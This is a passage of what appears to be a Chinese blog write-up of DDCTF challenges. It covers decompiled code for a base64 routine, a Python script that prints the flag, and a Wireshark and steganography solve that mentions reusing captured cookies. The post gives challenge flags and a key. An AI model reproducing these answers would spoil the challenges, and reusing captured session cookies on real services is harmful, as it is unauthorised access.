        v23 = (v20 >> 6) + 4 * (v19 & 0xF);     // v14 低四位 *4
        i = v20 & 0x3F;                         // i = 3f
        v7 = 0;
        do
          std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
            &v26,
            (unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v7++)] ^ 0x76));
        while ( v7 < 4 );                       //四位一處理
        v5 = 0;
      }
    }
    while ( v3 );
    if ( v5 )
    {
      if ( v5 < 3 )
      {
        memset(&Dst + v5, 0, 3 - v5);
        v6 = v19;
      }
      v22 = (v6 >> 4) + 16 * (Dst & 3);
      v21 = (unsigned __int8)Dst >> 2;
      v23 = (v20 >> 6) + 4 * (v6 & 0xF);
      v8 = 0;
      for ( i = v20 & 0x3F; v8 < v5 + 1; ++v8 )
        std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
          &v26,
          (unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v8)] ^ 0x76));
      if ( v5 < 3 )
      {
        v9 = 3 - v5;
        do
        {
          std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&v26, 61);    //最后一塊長(zhǎng)度不足四位補(bǔ)'='
          --v9;
        }
        while ( v9 );
      }
    }
  }
  v10 = Size;
  v11 = v25;
  memset(v25, 0, Size + 1);
  v12 = Src;
  if ( v29 < 0x10 )
    v12 = &Src;
  memcpy(v11, v12, v10);
  v31 = -1;
  v13 = std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>();
  sub_40145E(v13, v14, (unsigned int)&Dst ^ v30, v17, v15, v16, Dst);
}

可以看出最后進(jìn)行了一個(gè)base64編碼過程

分析結(jié)果

所以函數(shù)執(zhí)行邏輯就是,先將傳入的16進(jìn)制字符串轉(zhuǎn)成byte[]數(shù)組,然后將這個(gè)byte[]數(shù)組進(jìn)行base64編碼,最后將編碼結(jié)果包上DDCTF{}后與'DDCTF{reverse+}'進(jìn)行比較,判斷正確的十六進(jìn)制字符串即為flag.

最后附上python腳本:

import base64
res='reverse+'
b=base64.b64decode(res)
print('DDCTF{'+b.hex().upper()+'}')

flag: DDCTF{ADEBDEAEC7BE}

0x8 Wireshark

題目文件

首先三板斧走起

首先看看協(xié)議統(tǒng)計(jì),發(fā)現(xiàn)沒有FTP,HTTP倒是有很多
嘗試到出對(duì)象,可以看到倆multipart/form-data提交的數(shù)據(jù),這是二進(jìn)制提交的,保存下來
跟蹤下提交請(qǐng)求的http流,可以發(fā)現(xiàn)是在上傳圖片

檢查上傳信息

可以找到一些cookie,能夠成功登陸上圖床,但是沒有什么線索

查看其他http請(qǐng)求

我們可以發(fā)現(xiàn)第一個(gè)請(qǐng)求的網(wǎng)站有些不太一樣
http://tools.jb51.net/aideddesign/img_add_info  
打開看看,可以發(fā)現(xiàn)是一個(gè)圖片隱藏信息的網(wǎng)站,那么目標(biāo)就很明確了
解密出隱寫的圖片

隱寫

這是一個(gè)瀏覽器端的處理,所以網(wǎng)絡(luò)請(qǐng)求里肯定沒有相關(guān)線索了
算法的js代碼是開源的https://github.com/oakes/PixelJihad
看了下也找不到什么漏洞,到網(wǎng)站上無密碼也不能解密
問題就只能從圖片本身入手了

圖片

一共有兩張圖,從小的那個(gè)鑰匙圖開始
首先祭出Stegsolve
查看通道和frame無果
那么嘗試修改圖片寬度和高度,發(fā)現(xiàn)一個(gè)key:xS8niJM7
很顯然是另一個(gè)圖的密碼了
試試,可得到flag

注意

  • 導(dǎo)出的對(duì)象需要進(jìn)行修整,用啥都行,dd命令/各種hex編輯器/自己寫個(gè)腳本
  • 圖片提取方式如果不當(dāng)會(huì)損壞圖片信息,雖然表面看上去沒有區(qū)別
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 2019.4.22日題目: 問: 作為文案界的霸主,為何這次杜蕾斯文案卻遭遇翻車? 你覺得是什么因素造就的? 前情...
    認(rèn)真的草閱讀 625評(píng)論 0 0
  • 簽到2 地址:來源:網(wǎng)絡(luò)攻防大賽 說了輸入zhimakaimen,開始輸入沒認(rèn)真看,只能輸入10個(gè)數(shù)字,可是zhi...
    JasonChiu17閱讀 4,850評(píng)論 0 9
  • 芯亦~30~剪王20190422 第一課筆記+自我思考 一.課堂筆記 1.情緒價(jià)值情緒價(jià)值分為兩個(gè)部分,一個(gè)是:情...
    芯滿亦足閱讀 1,270評(píng)論 4 0
  • 那時(shí)候 那年去寧波打工時(shí)正在讀初中的一個(gè)暑假,孤身一人跟著中介從縣城坐車一路到達(dá)浙江寧波。那是第一次一個(gè)人...
    帝鄴閱讀 316評(píng)論 1 0
  • 2018年是我的本命年,這一年有很多不一樣。這一年年中,我從打工開始了創(chuàng)業(yè)(雖然是小小的);這一年我遇見了...
    棪子閱讀 609評(píng)論 9 10

友情鏈接更多精彩內(nèi)容